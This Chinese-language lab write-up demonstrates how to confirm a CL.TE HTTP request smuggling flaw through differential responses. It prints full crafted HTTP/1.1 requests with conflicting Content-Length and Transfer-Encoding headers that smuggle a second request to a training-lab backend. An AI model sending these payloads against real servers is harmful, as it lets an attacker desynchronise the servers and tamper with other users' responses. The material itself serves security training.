> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).
# 通过差异响应确认 CL.TE 漏洞
### HTTP 请求走私，通过差异响应确认 CL.TE 漏洞
该实验室使用前端服务器和内部服务器。前端服务器 **不处理分块** 编码。/ 目标是 **将请求走私到后端** 以便下一次对 **/** 触发一个响应 **404 未找到**.
> **注意：** 即使实验室接受 HTTP/2，所需方法也只能在 HTTP/1 中使用。/ **提示：** Burp 的 HTTP Request Smuggler 插件可帮助自动重新计算长度。
#### 初步观察
前端解释 **Content-Length**，而后端基于 **Transfer-Encoding**。/ 发送一个最小请求：
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```
然后通过添加一个参数，长度逻辑上变为 9：
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9
test=test
```
为避免长度自动重新计算，引入一个新请求头。
#### 添加 *Transfer-Encoding*
如果我们添加：
```http
Transfer-Encoding: chunked
```
服务器返回一个去同步错误：
HTTP/1.1 500 内部服务器错误
但是，当发送有效的分块负载时：
```http
Content-Length: 13
Transfer-Encoding: chunked
3
abc
0
```
响应会返回于 **200 OK**.
我们还可以测试：
```http
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### 向后端注入一个请求
为了获得一个 **404**，你必须强制后端处理一个额外请求。/ 如果添加：
```http
GET /error HTTP/1.1
测试：A
```
并且后端正确解释了走私的请求，它就会执行 `GET /error`.
完整示例：
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked
3
abc
0
GET /error HTTP/1.1
测试：A
```
第一个响应在 **200**，但浏览器发送的下一次请求触发了一个 **404**，这证明了去同步。
#### 变体：运行另一个页面
如果你想让后端执行另一个资源，例如：
```http
GET /post?postId=4 HTTP/1.1
测试：A
```
那么主页面将显示与帖子 4 对应的内容，确认走私的查询已被后端处理。
---
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